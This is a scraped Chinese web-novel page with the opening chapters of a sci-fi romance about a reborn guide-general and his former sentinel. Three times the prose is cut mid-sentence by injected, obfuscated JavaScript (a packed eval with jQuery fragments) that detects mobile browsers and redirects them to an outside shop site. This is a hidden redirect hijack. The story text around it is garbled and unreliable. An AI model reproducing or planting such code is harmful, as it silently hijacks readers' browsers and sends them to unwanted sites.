《寡夫回忆录》
1. 重生
这里是星际战场,最遥远的边缘星系。
二百年前,边缘星系突然出现了黑洞,奇怪异形的不知名生物源源不断从黑洞里涌现而出,并展现了极高的攻击性。
驻守在这里的军队第一时间将这件事情报告给了联邦议会,得到了剿灭的命令。
但是异兽太多,还有着莫名的力量,普通武器的攻击对他们根本不起作用。
也就是在这个时候,人类突然发生了变异,历史上第一名哨兵产生了。
他拥有刀枪不入的体魄,快速愈合伤口的能力,战斗力惊人,很快便打跑了异兽。
但是常年和异兽为伍,他的精神日益崩溃,被黑暗侵蚀,逐渐开始失控,变成了没有人性的兵器。
也是在这个时候,向导诞生了,强大的精神力,让他能够侵入失控哨兵的精神海中,对哨兵进行疏导。
此后,向导哨兵也逐渐多了起来,星际战场的军队也变成了由向导和哨兵组成的军队。
普通人会在十八岁或者更早之前觉醒自己的能力,分化成向导或者哨兵,他们还会拥有自己的量子兽。
向导在精神力方面更极为突出,他们在构建重塑精神海,精神控制等方面非常擅长。
哨兵则会觉醒超常五感,拥有强大的身体机能。让他们仅仅是靠肉搏,就有能力战胜异兽。但也正是如此,他们特别容易被黑暗物质侵蚀。这让他们格外依靠向导的疏导,如果没有向导的疏导,他们的精神海就会彻底被崩溃,从而脑死亡。
当然,也不是随便一名向导就可以为哨兵进行疏导的。能力者往往有着非常厚的精神壁垒,如果匹配度低于35%,向导没有办法进入哨兵的精神图景,疏导也就无法完成。
每年联邦都会给给高匹配度未结合的向导哨兵进行强制匹配,来确保哨兵的战斗力。强制匹配也被戏称为包办婚姻。
傅言就是一名向导。
但他有所不同,他并不擅长给哨兵做疏导,他的量子兽是森蚺,体型巨大,还有着非常强的攻击性,这和哨兵的量子兽很像。
也因此,傅言从分化之后就极力推崇上战场,他不想成为军队的后备,救援军,为了疏导哨兵而存在。
联邦科技的日益成熟,机甲的出现,实现了傅言上战场的梦想。
二十到三十五岁,从一名普通的卫兵到联邦上将,开创战斗系向导的先河。
为了联邦的荣耀和使命,也为了守护更多的普通人。
那天,漫无边际的广阔天空中,爆发出炫目的火光,连带着挤出黑洞的异兽一并炸成了碎片,像是一束灿烂的烟火。
傅言上将,陨落了。
星际联邦为之哀恸。
“嘶……”傅言头疼欲裂,浑身粉碎性般的疼痛,这种痛,像是灵魂被人搅碎,耳边轰鸣,世界如同被按下了静音键。
傅言觉得自己的身体像是沉入一望无际的深海,如同溺水一般,就在他感到窒息的时候,内心突然涌出无限恐惧。
不!我不能死!我不能!我不……
傅言开始挣扎,温柔的水面被他搅乱,泛起涟漪。
“滴——”
“检测到您的求生意志增强,已激活重生系统。”
“您好,重生系统编号8891为您服务,已绑定,是否确认?”
“已确认。”
“即将重生,请您做好准备。”
傅言的手指痉挛,呼吸急促,身上的汗水浸湿了床单。
突然——
他猛地坐了起来。
脑子里如同针扎般的疼。
他记得自己的机甲发生故障,不得已只能和异兽遗命搏命,最后机甲爆炸,自己也被炸成了碎片。
不可置信地看着自己的双手。
这是——
重生系统?
竟然是真的?
他真的活了过来?
傅言仍旧不敢相信眼前的一切,如今的科技就算再发达,也不能让人死而复生。即使向导拥有精神力的优势,可以侵入人的精神海,但也没有办法让自己的意识在别人的脑袋里存活。
他害怕这只是自己死前的一场幻梦。
傅言起身,通过自己以前的经验可以看出这里大概是飞船的船舱。
准确找到洗手间,往脸上抹了两把水,傅言看着镜子里的人动了动眉,镜子里的人影也随着他皱眉。
“森森。”傅言轻唤。
一只巨大的蛇头出现在傅言肩头,蛇头大概有傅言两个头那么大,巨大的身躯挤的厕所愈发拥挤。
“嘶嘶——”干嘛?
巨蟒吐出蛇信子,扫在傅言脸上。
“没事,回去吧。”
“嘶——”有病!
这竟然是真的?
镜子里的人和傅言很像,就和他年轻时候差不多,大概十九二十岁的年纪。
根本就不是像,这就是他的身体!
“系统?”
……
“8891?”
……
如果不是因为眼前的一切,傅言也是不相信世界上竟然有系统这种东西的。
“砰——”
凭空出现的包袱直接砸在傅言头上。
傅言拿起来,一个背包,里面的就两件换洗衣物,和一张录取通知书。
黑金配色的蔷薇花纹。
竟然是蔷薇军校?
傅言眼睛瞪大,既然这样?那不是就能和他家小朋友当校友了?
“各位乘客请注意,下一站,是本次行程的终点站——首都星,飞船还有两个星时到达洛达弥尔港口。”
洛达弥尔港口是飞船停靠首都星的重要港口。也就是意味着还有两个星时傅言就要达到首都星了。
傅言迫不及待地背着自己包,决定先去餐厅填饱自己肚子,然后等待下飞船。
“砰——”
“砰——”
刚坐下,傅言嗅着面包的香气,有了尚在人间的实感,双手捏住面包正要往嘴里塞,还没来得及享受面包的香甜,飞船就开始剧烈震动,傅言手里的面包吧唧掉在地上。
他弯下腰去捡,结果飞船剧烈摇晃,傅言整个人坐在地上。
他皱眉,这不是飞船应该有的颠簸。
“恭喜大家成为被我选中的幸运儿,飞船即将返航,你们会被炸成灰烬哦。”广播里机械的女声变成了嚣张尖锐的男声,“让我来赌一把,看看会不会有人救你们吧哈哈哈哈哈……”
猖狂!
傅言摸了摸腰侧,摸了个空,忘了自己已经不是傅言上将了。
飞船再次一晃,甚至隐隐倾斜。
“砰——”
一声巨响。
“啊啊啊啊!救命我不想死我不想死!”
“救生飞艇呢?快给我!”
“呜呜呜呜……”
“有没有向导哨兵,救救我们,我就是个普通人啊!”
餐厅的人群四散,其他船舱可想而知。
人群纷纷往出口挤去。
一个小姑娘被挤了出来,跌坐在地上。
傅言见状,目眦欲裂,刚要动作,就见小姑娘被人抱了起来。
“呜呜呜……”小姑娘被刚才的情况吓得直哭。
“你别哭啊诶你……”那人手忙脚乱擦去小姑娘脸上的眼泪。
“呜呜呜……”
可惜根本没用。
“别怕,别怕。”傅言见状上前,释放一点点精神力安抚着,小姑娘果然停止了哭泣。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579348|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“还是你有办法。”男人对着傅言竖大拇指,“你是向导?”
傅言点头,“嗯。”
“我也是。”男人自我介绍道,“我叫邹明,你呢?”
傅言言简意赅,“傅言。”
傅言……有点耳熟,好像在哪里听过?在哪里呢?
邹明绞尽脑汁,好像很熟悉,想起来就是一瞬都事儿,但是却怎么也想不起来。
很快剧烈的爆炸声又的轰鸣又响了。
两人身形一晃。
傅言眉头紧缩,下定主意道,“去控制室,启动飞船应急程序,必须把飞船稳下来,只要将飞船开进洛达弥尔上空,我们就能得救。”
“可是我不会开飞船啊。”邹明一脸为难。
傅言摇头,“没事,我会。”接着转头对着旁边的小姑娘道,“你躲在这里,一定能够得救的,不要乱跑。”
傅言用自己的精神力笼罩着小姑娘。
“嗯。”小姑娘怯生生地点头。
“走。”
“诶!”我没说要和你一起去啊!
邹明默默跟上傅言的背影。
差点没跟住。
“不是……我说兄弟……你还挺能跑啊……”邹明气喘吁吁搭上傅言的肩膀,疯狂吞咽氧气,喉咙里都能感觉到血腥味了。
“嘘!”傅言示意让他噤声。
被人严肃的样子吓到,邹明放低了音量。“怎么了?”
“有人。”傅言指了指控制室外面。
邹明张头望去,果然见两个包裹着作战服,手里端着能量枪。
“那怎么办?”邹明小声问道。
“我想想。”傅言拧着眉毛,心里默念,“森森。”
一条小蛇嗖地窜了出去。
“你的量子兽?”邹明摸着下巴,“这小蛇能干什么?还没有人胳膊粗呢。”
小蛇绕过守在控制室外的两个黑衣人,去到他们身后,张开嘴在人的脖子上一咬,便嗖地回到傅言的精神海。
那人摸了摸脖子,有点发痒。四周看了看,没发现什么异常。
“你是变异量子兽?”邹明控制不住震惊。
“是。”
“他可以释放毒液是吗?好酷!”邹明羡慕,变异量子兽诶,有特殊的能力,一般来说量子兽是无法直接对人体造成伤害的,一般需要和人共感,才能用量子兽进行战斗。
但是变异量子兽就不一样,他们天生拥有特殊技能,不用共感,量子兽便能使用这项技能。
比如变异蛇可以释放毒液,变异植物可以释放毒性气体等等。
然而变异量子兽百里挑一,也是战场上胜利的秘密武器,十分难得。
“……算是吧……”
很快邹明就知道为什么明明拥有变异精神体,傅言却一言难尽的理由。
只见傅言小蛇咬过的人,面色泛红,竟然开始当场脱衣服。
“你怎么了?”发现旁边人的异样,另一个人凑上去询问。
“热……好热……”被咬的人拽了拽自己的衣领,解开两扣子。
“不热啊?喂!你干什么!?清醒一点!”
“好热……兄弟,你好凉啊……”说着就往人身上贴。
“呜……”被压制的人耳后一痛,像是被什么咬了。
不过一会儿,两个人就滚到地上去了。
咒骂声和间或的嗯嗯啊啊不绝于耳。
邹明觉得辣耳朵。
“兄弟……”邹明龇牙咧嘴,对着人竖起大拇指,“妙啊。”
“咳咳。”傅言轻咳,“解决了,进去看看。”
两人上前,路过难舍难分的人,邹明啧啧两声。
牛哇,这姿势……还怪高难度的。
2. 往我身后跑
“警告!警告!飞船受到外部攻击,损伤89%……”
“警告!警告!飞船受到外部攻击,损伤65%……”
“砰——”
“砰——”
“警告!警告!飞船受到外部攻击,损伤33%……”
“警告!飞船损伤低于25%将开启自毁程序,请尽快对飞船损伤进行处理。”
“次奥!这怎么处理?”机械的女声不停地重复警告,无情冷漠的不带一丝情绪,听得人火大。
邹明砰地一声砸向控制台。
“警告!警告!飞船受到外部攻击,损伤30%……”
“特么的,我……”邹明握拳,恨不得再给一脚,还是被他忍了下来。
“坐下。”傅言脸色沉着,眼神阴沉,邹明被他一下子唬住,一屁股坐在旁边的凳子上。
只见傅言手指翻飞,操作台乱七八糟的按钮被他这么一按,推背感瞬间袭来,要不是底盘稳,他得飞出去不可。
邹明揉了揉差点甩折的腰,“不是吧哥们你真会啊?”
傅言似乎没有注意到他的动静。
没得到回应,邹明揉了揉后脑勺掩饰自己的尴尬,“咳……那什么……那些个小红点是什么东西啊?”
他说的是操作台屏幕上面的小红点,几乎将飞船整个围住。
傅言淡淡一瞥,说出的话稀松平常,“攻击我们的人。”
“不是吧?这么多?就为了炸掉一艘民用飞船?”邹明眉头紧皱,他想不通啊,这也不是豪华飞船啊,船舰上甚至都没有有钱人,炸他们干什么?
“示威。”傅言操作控飞船躲过一发离子炮,分析道,“这条航线是去首都星的必经之路,还有两个星时便会着陆,飞船的航班是既定的,而且上面大部分都是平民,摧毁这样一艘飞船联邦政/府声誉会大受影响,到时候以保护普通市民的联邦军队也会受到攻讦。”
“有一部分极端份子本就认为能力者才是宇宙的掌控者,不能觉醒即是没有进化,是应该被遗弃的垃圾,是反联邦联盟。”
“我去!他们有病吧?谁能保证自己的父母不是普通人呢?”邹明龇牙咧嘴,觉得不能理解这些人的心态。
傅言深深看了对方一眼,对方的想法是他没有料到的,毕竟很大一部分哨兵向导其实都是能力者至上的心态,只是不会摆在明面上。
就连联邦议会也……
傅言突然正色地看着眼前的青年,轻轻一笑,“你说的没错。”
“那当然!为了联邦的荣耀!”被人认可,邹明自豪地挺了挺胸膛,“我可是蔷薇军校的学生!以后将会誓死守卫联邦!”
“嗯。我相信你可以做到。”哪怕重生,傅言也很难第一时间调整自己的心态,看邹明的眼神越发欣慰,说话的语气难免带了些哄小孩子的调调,“但现在要坐稳了,我要加速了。”
飞船剧烈倾斜,即是邹明牢牢抓住安全带,仍旧被带的东倒西歪。
“哥,飞船上还有人呢!这不是我们俩的飞船!”失重感让他眼前眩晕,邹明大叫。
“没事,我有分寸。”傅言安抚。
虽然颠簸,但这样的颠簸幅度,并不会对人体造成什么伤害,飞船内部的材质也都是安全的防护材质。
“那个绿色的小点,是说明有人来救我们了吗?”邹明的视线时刻关注着控制台上的屏幕,“但是怎么只有一个小绿点?能打的过那么多飞船吗?”
傅言摇头,“不敢妄下定论,但是我可以加速,在半个星时后着陆洛达弥尔港口。”
邹明紧了紧安全带,咽了咽口水,“没事,我受的住!冲!”
——
“长官,察觉到不明飞行物。似乎是3810号飞船遭到了袭击,接收到飞船的求救信号,飞船损伤29%。”
说话的男人身姿高挑,面部轮廓硬朗,是很标准的军人长相。
此时正向着坐在驾驶室闭目养神的男人汇报。
他上身赤裸,小麦色的皮肤肌理分明,整整齐齐的八块腹肌码在腹部,如同上帝的雕塑。
只可惜这样一件完美的艺术品,被零零散散的伤疤覆盖,胸口更是有着一道长达五厘米的伤疤,斜贯在左胸,还在丝丝缕缕渗着血丝,狰狞又可怖。
身上隐隐还带着压迫感,如同地狱的修罗,站得老远,都能感受到这人身上的杀气。
男人的脚边,匍匐着一只黑豹,油光水滑的皮毛泛着光泽,正懒洋洋地打盹儿。
“长官?”以为男人没有听到,那人又小心翼翼唤了一声。
“联邦陆地的军队,第一军团干什么吃的?我是去当教官又不是去剿匪。”男人,也就是靳年睁开眼,一双红色的眸子看上去很骇人,隐隐闪烁着黑色的光泽。
“可是……好像是反联邦联盟。”
“是吗?”靳年挑眉,舌尖抵住上牙膛,拿过一旁的绷带,随手在胸口缠了两圈,随后穿上作战服。
“不早说。”似乎怪嗔一般瞪了男人一眼。
叶治一个头两个大,“现在说也不晚,不过要不您先歇着,我带队过去。”
“不,我要亲自去轰了那帮杂碎。”靳年咬牙切齿,戴上手套,扭了扭手腕和脖子。
“你身上的伤……”虽说哨兵体质强,恢复能力也强,但对方的伤口毕竟很深,甚至险些伤及心脏,危及生命,到现在也没好。
不然也不会被文森特元帅扔到蔷薇军校当教官。
“这可是报仇的好机会,你难道要拦我?”靳年只是淡淡一瞥,叶治就后退了半步,隐隐感受到精神力攻击,果不其然,在靳年转身后,自己额头的一缕金发飘落空中。
“啊!我的头发!”叶治紧紧握住自己的头发,痛苦哀嚎。
他家里大概是混了古地球某个地方的血脉,家族里脱发极为严重,以至于疯狂研究生发产品,但是无济于事。这是基因决定的,挽回不了。
所以叶治十分爱惜他的头发,然而自从跟了靳年之后,他就成了老妈子,整日里愁的头发大把大把掉。
现在这一动作无异于在他心口捅刀子。
靳年听到人的嘶吼,也只是掏了掏耳朵。
“砰——”
靳年熟练地操纵飞艇,离子炮不要钱一样轰,X319型号的离子炮射程范围广,主打一个火力覆盖,都不用瞄准,大概范围一估算,只要在范围内,就能把对方的飞艇轰个稀巴烂。
“woc!”
傅言和邹明同时爆出一句粗口,好在傅言驾驶技术过硬,不然这炮就得波及到他们身上了。
飞船左侧的小红点在屏幕上瞬间消失了一大半。
“……”
“……滋啦滋啦……驾驶技术不错,往我身后跑,跑快点。”
频道里突然出现硬朗低沉的男声,甚至隐隐带了点笑意,张扬又傲慢。
傅言闻言皱了皱眉,哪里来的兵痞?
“怎么?听不懂人话吗?”
“明白
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579349|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”傅言链接到对方的频道,“需要右翼掩护。”
“砰——”
话音刚落,就见右边的小红点也没了大半。
“……”
enmmm……行叭。
傅言不再耽搁,手上在操作台上飞速运作,将飞船的速度拉高,往对方身后冲过去。
“滋啦滋啦……”
频道突然断掉。
“……靳长官,好久不见啊,本来还想送份大礼给你的,庆祝您即将上任。”
“啊?对了,总教官是上任的意思吧?啊哈哈哈哈哈哈……”
“不过没关系,你亲自来了,那就留下吧。”
如果频道没有断掉,傅言会听出来这就是劫持他们飞船的男人!
“就你?也配?”靳年嗤笑。
靳年的态度彻底惹怒了对方,“配不配,打了就知道了。”
只见对面所有的离子炮都集火在靳年的飞行器上面。
靳年操作着飞艇,左右两侧的机翼收缩伸展,变成了两架高磁炮。
“嗯……这一炮是为了我身上的伤打的。”
“轰——”
对面的飞行器如同星光四散。
“轰——”
靳年避开直面而来的射线,如同游鱼般在星海中穿梭,“这一炮,是为了刚才的飞船!”
“靳年!你以为你能活着离开?”对面的男人也发了狠,弹药飞行器就像不要钱一样从主舰飞出。
同时,操作主舰发射能量炮。
这一炮,只要被打到,必死无疑。
白光闪过——
男人惊恐地瞪大双眼。
“当当——”
“你是在找我吗?”靳年如同一只灵敏的猫,趴在对方星舰的玻璃上。
飞行器再好用,也没有哨兵的肉搏来得痛快。
“砰——”
玻璃被他砸碎。
“MD!”男人啐了一声,拿起身边的能量枪,冲着靳年扫射。
靳年翻身一跃,腰身一矮,身体以一个诡异的弧度躲开。
仰面一个飞踢,男人手里的武器掉落,接着膝盖一弯,顶住人的脖子。
“咳咳……”男人用抓住靳年的一头银发,面色狰狞,往后一扯,一只狮子量子兽张嘴欲咬住人的脖子,被黑豹猛地一扑。
靳年胳膊勒住对方的脖子,往后一翻,丝毫不怀疑,一个哨兵可以轻易拧断别人的脖子。
“咳咳咳……放开我……”
察觉到生命的威胁,男人有些怕了,拼命拍打靳年的手臂,手指在对方胳膊上留下一道道血痕,但靳年就像不知道痛一般,死死勒住不松手。
“不是我……不是我要你的命……有人想要你死……唔……”
男人蓦的睁大眼睛,显然没明白自己话都没说完怎么就被人拧了脖子。
靳年将人一甩,跌坐在地上,身体不受控制地痉挛,他喃喃着,“想要我死的人多了去了。”
胸口的伤口似乎崩开了。
但更令人无法忍受的,是脑子里针扎斧砍的疼痛,黑豹似乎感受到主人的疼痛,趴在地上奄奄一息,最终消失。
疼……
靳年握紧拳头,缩成一团,身体颤抖,浑身都疼,脑子疼,心口疼,甚至皮肤血管都在疼。
他疼得出了一身的汗,整个人像是泡进了水里。
“长官!”
意识消散的最后一刻,是叶治焦急的声音。
3. 新生入学
成功将飞船驶入港口,傅言拿起自己小包袱混在人群里,深藏功与名。
邹明本来想和人一起走,转头的功夫人就已经不见了。被人群簇拥着,一眼就看见那个身高挺拔的背影。
“诶诶诶!”邹明拨开人群,拍上人的肩膀,“嘶嘶嘶松手松手!”
手腕被人扭住,邹明痛呼。
“抱歉。”傅言扭头,松手,“习惯了。你有什么事吗?”
“怎么说我们今天也是拯救世界的好搭档,加星讯呗?以后好联系。”
虽然傅言不知道怎么开个飞船就是拯救世界了,但星讯他是真没有。系统给的兜里就两件换洗衣服和一张录取通知书。所以他拒绝道,“匆匆过客,一面之缘,我们有缘自会再会。”
邹明是个一根筋的,“什么意思?”
“不加了。”傅言言简意赅。
说着转身离开,这下子人群彻底分散,邹明没再找到那人。
站在蔷薇军校恢宏的大门口,傅言有些忐忑。
或许这种情绪可以被称之为近乡情怯。马上就能见到靳年了,自己的哨兵。他记得靳年还在读大三,成绩优异,也不知道现在怎么样了?有没有因为他的死伤心?哭了没有?
应该不会哭吧?那小子倔强得很,从来不掉眼泪,所以某些时刻,傅言特别喜欢把人欺负哭。
诶?等等……重生……是重生在什么时候?
他这具身体十九二十的样子,那……靳年现在不会还是个小屁孩吧?!
傅言突然一阵慌乱,完了完了!他要上哪里去找他?
“诶!原来你也是来蔷薇军校报到的?”带着笑意的男声打断了傅言的思绪。
这就是缘分!邹明沾沾自喜。
傅言抬头,“是。”
“那怎么还不进去?”邹明上前揽住人的脖子,一副哥俩好的样子,“不会是料到我也会来,所以在等我吧?”
“不是。”傅言摇头,对于人的自来熟有些招架不住,和人拉开一段距离。
“嘶……你这也太伤人心了吧。”邹明夸张地捂住胸口,“好歹我们也是建立了革命友谊啊。”
傅言礼貌地笑笑。
“哈哈哈哈我终于想起来你的名字为什么耳熟了。”邹明像是突然被人打通了任督二脉,豁然开朗,哈哈大笑起来,“这不是靳年上将前夫的名字吗?”
傅言眉头紧锁,靳年?上将?前夫?一瞬间他怀疑对方说的是不是星际通用语,明明每个字都能听懂,组合在一起怎么就不明白呢?
傅言眉头微动,脸上的表情肃穆,内心似乎有小锤子咚咚咚直敲,他张了张发涩的唇,“现在……是哪一年?”
“啊?”邹明被他问懵了,“M312啊,怎么了?”
“没事。”傅言面上镇定,内心却早已掀起惊涛骇浪。
M312……距离他机甲爆炸那年已经过去五年。
五年啊……
“走啦!报到啊,你还愣着做什么?”邹明见人还跟个木头似的杵在原地,一把上前推了推人,拉着人往大门口挤。
今天已经是报到日期的最后一天,来的人不少,在大门口排起长队,邹明可不想排在后面。
蔷薇军校是联邦专门培养哨兵向导的学校,每年招收的学生数以万计。
这里也被称之为“元帅”预备役。联邦军队的军官大部分出自于此。每年财务部批给蔷薇军校的经费都占财政收入的十分之一。学生能在这里体验最先进的设备。
傅言还没从自己重生回来已经过去五年的事实里回过神来,木然地办理了入学登记,从一个学长那里接过宿舍钥匙。
这时候拿到宿舍钥匙的邹明也走了过来,“你是哪个宿舍的?”
“三栋2091。”傅言念出钥匙牌上面的数字。
邹明翻了翻自己的钥匙牌,每一个数字都对的上,惊喜道,“欸?我们是室友!这也太巧了吧。”
傅言把玩着手里的钥匙,脸上没有什么表情,“挺好。”
三栋一整栋都是新生宿舍,宿舍里的配置还算齐全,两个房间,中间还有一个小客厅,每个房间都有独立的卫生间,但是却没有洗澡的地方。
三栋四栋中间倒是有公共浴室和洗衣房。不过有规定的使用时间。
傅言没什么好整理的,床单被罩学校都有发新的,洗漱用品也都配了。
傅言一阵唏嘘,突然想起靳年入学那会儿,所有东西都得是自己准备。
傅言那个时候忙,经常在外面出任务,靳年自己一个人入学,偏生那人又是个有主意的,还特倔,学费都是自己打工凑的,交完都不剩什么了,愣是一声不吭,睡了一个月的硬板床。
后来傅言还是听副官说靳年在学校里被欺负了才知道这事儿的。
当即就给人安排了最床垫被子四件套,最后强烈和上级反应,军校学生的待遇才直线上升,后面还设置了好几项奖学金。
小孩儿长大了,还成了上将。
虽然不想承认,但傅言还是有种老父亲的心酸。
五年啊,已经足够改变一切了。
也不知道靳年有没有去掉他的标记,重新找一个向导,毕竟他那么怕疼……
“笃笃笃——”
房门敲响,傅言立马收了自己的万千感慨,打开门,正对上邹明笑靥如花的脸。
“怎么了?”
“现在总可以加个星讯了吧?”邹明晃了晃自己的智能手环,对着手环一按,一个虚拟屏幕出现在眼前,上面是邹明硕大的证件照,“加一个?”
“好。”刚好入学的时候也统一发了手环,做了身份认证,傅言操作手环加了邹明。
“走走走,我们去吃饭。”邹明显然很兴奋,压根坐不住,“一个学校好不好就要看的食堂怎么样。”
蔷薇军校赫赫有名,邹明已经迫不及待想要尝尝这里的美食了。天大地大吃饭最大,怎么能在宿舍里虚度光阴呢?
——
靳年睁开眼睛,眼前是透明的玻璃罩子,瞬间反应过来这里是治疗仓。
摸到仓壁的按钮按下去,玻璃罩子从下到上回缩,两只手握住治疗仓边缘,靳年坐了起来。
“长官,您醒了?”听到动静的叶治,瞬息便来到治疗仓面前,将靳年扶了出来。
透明的治疗液顺着结实的胸口往下滑,如同给肌肤上了蜜一般。
身上的小伤口已经彻底好了,只是胸口的伤依旧没能愈合,这可是S级的治疗液
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579350|143093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啊,可见这伤口有多严重。
是反联邦联盟的杰作,不知道从哪里弄来的新武器,上面淬了异兽的毒液,导致这伤口迟迟无法愈合。
“长官,元帅找您。”叶治毕恭毕敬地站在一旁,等着人换好衣服。
“知道了。”靳年用纱布往胸口随便一裹,便套上作战服。哨兵的作战服用的都是特殊的材料,可以有效屏蔽自身的超常感官。
“滴——”
视讯接通,一个英俊又不失威严的男人出现在虚拟屏幕上,大概四十来岁的年纪,眼角有些许的皱纹,联邦元帅,军区最高指挥官,文森特。
“怎么样?身体还好吗?”
开场第一句,先表示了对靳年的关心。
“听说只身战星盗,你好本事,看来是身体没什么事了。”
靳年眉头一跳,低眉顺眼道,“是。”
“是什么是?你还挺自豪?我让你去军校当教官就这么不满意?上赶着送死是吧?”
丝毫不怀疑,如果不是隔着虚拟屏幕,文森特的拳头已经落在人身上了。
“没有。”靳年反驳。
视线落在人一头未干的银发,以及那诡异的红瞳,文森特突然语塞,就连语气也缓和了几分,带着些惆怅,“傅哥把你托付给我,你如今这般……他泉下有知,我要怎么和他交代……”
听到熟悉的字眼,靳年皱了皱眉,“人是没有灵魂的,您这是迷信。”
“你……”靳年的话打断了文森特的伤春悲秋,他目光闪烁,轻叹一声,“算了。”
“这段时间就当放假,你也该好好休息休息了。别把自己绷得太紧,多回家看看,陪陪家人,我记得你不是还有一个哥哥?”
“嗯。”
之后两人继续寒暄了几句,这场谈话总算结束。
文森特是傅言以前的副官,靳年对他的印象其实并不多,但在傅言死后,他们接触的还算频繁。
用他自己的话来说就是傅言托他照顾靳年。但靳年不需要任何人的照顾。
他看向窗外,飞船还在继续航行,宇宙中是没有黑夜和白天的。只有黑暗,连绵不断的黑暗,就像是一望无际是深渊,足够将一切都吞噬殆尽。
靳年微不可查地皱了皱眉。
之后飞船降落,蔷薇军校的校长特意在港口迎接。见到人从飞船上下来,最先引人注意的便是那一头张扬是银发,继而是对方红色的眼睛。
这些都是黑暗哨兵的标志,很少有哨兵会选择成为黑暗哨兵,在如今,即是死去向导的哨兵都能去除标记重新找向导结合,更何况本身向导和哨兵的比例差距也不大,找不到向导的哨兵更是不存在。
就算找不到一对一的向导,治疗所也会有专门的医疗向导义务帮没有向导的哨兵进行疏导。
黑暗哨兵,可以说是人形兵器也不为过,但正因如此,一般都活不过三十岁,是非常巨大的消耗品。军队会专门培养黑暗哨兵,但这种事情是公开的秘密。
一个黑暗哨兵上将,闻所未闻,但靳年的银发红瞳确确实实是黑暗哨兵的标志。
校长一阵唏嘘,不过很快换上亲切和蔼的笑意,上前握住人的手,“靳年上将,我代表蔷薇军校全体师生,欢迎您的到来。”
4. 异兽来袭
蔷薇军校的食堂确实很大,上下六层,能够容纳几千名学生同时在食堂就餐,而且食物种类也很丰富,营养液也有多种口味。
傅言对于吃的东西欲望不高,能填饱肚子就行,很多时候他更愿意喝营养液,省时省力,倒是某个人偏爱甜食,还总要装作自己不喜欢的样子,好像哨兵吃甜食就是什么丢人的事情一样。
想到这些,傅言轻轻勾了勾嘴角,但是骤然意识到这中间已经有了一个五年的跨度,嘴角瞬间垮了下来,就连拿小甜品的手都顿了顿。
“傅哥,你还喜欢吃这个?”邹明已经自来熟地称起了哥,虽然不知道对方的年龄,哥在他这里只是一个尊称。
看见对方小碟子里的做成小兔子的布丁,想到不到如此英勇厉害的人,还有这样的偏好啊。
傅言轻轻点头,也没有解释,和人找位置坐了下来,食堂几乎已经坐满,不过看样子都是新生,或许抱着和邹明一样的心态,都是来看看大学校的食堂的。
傅言拿起筷子,从满是红油撒了红辣椒的碗里夹起一片牛肉,水煮牛肉,是一道辣菜。嘴唇微动,差点将东西吐了出来,没什么味道,味同嚼蜡。
另一份蛋炒吓人也没有令他失望,吃上去就在吃软豆腐,还是没有味道的那种。如果食物不能展现出属于自己的味道,建议还是不要做了,直接多研究点营养液吧。
傅言皱眉,用旁边的汤漱了漱口。
邹明还没有开始动筷,他要的比较多,一脸期待地看着傅言的动作,“怎么样?好吃吗?”
不等人回答,邹明就往自己嘴里塞了一筷子,“yue~”
“呕……”
和隔壁桌的人对上视线,两个人都是不好意思地笑笑,这也不是个例,几乎吃饭的人都是一脸菜色。
他算是知道为什么卖营养液的队伍排得那么长了。
邹明一顿饭吃得龇牙咧嘴,面不改色的傅言在他眼里犹如神明,“哥,你这都能吃下去?”
“还好,不难吃。”傅言吃饭的速度不慢,动作却一点都不粗鲁,甚至配上他俊美的面容,还有些赏心悦目。
害的邹明都觉得秀色可餐,就这人的脸,好歹吃下去了,“为什么这么大个食堂,就没有好吃的菜啊?”
傅言继续喝了口汤,纸巾被他叠了又叠,擦了擦嘴,“可能是哨兵太多了吧,他们五感敏锐,普通的食物不适合他们入口。”
吃完了饭,傅言和人走出食堂,看到老校长和几个军校教师簇拥着一个人上了一辆车。因为离得远,没太看得真切,只是感叹五年过去,老校长倒是一点都没变的样子。
“欸?你知道我们这次军训的教官是谁吗?”邹明显然已经从食堂的伤害当中走了出来,开始对其他的东西好奇了,“听说上一届总教官是向导上将洛克,这位可是哨兵最想结合排行榜实至名归的top1。不仅人长得好看,性格也好,为人亲切,让人如沐春风。”
“不过这次的还没有公布,就连星网上都在猜测,也不知道会是谁……”
傅言抿了抿唇,摇头道,“不知道。”
看来刚才的就是了?只是没看到人,不过早晚也会看见的,傅言并不是很关心,军训而已。现在最重要的是重回战场,说不定就能见到靳年了,只是不知道靳年如今怎么样?如果已经有了向导……就远远看上一眼吧。
这也是傅言选择留在军校的原因,蔷薇军校是最有机会接触星际战场的地方,每年蔷薇军校都会和边缘星的其他几个军校的学生都会进行联合军演,成绩优异者,还可以破格进入军队。
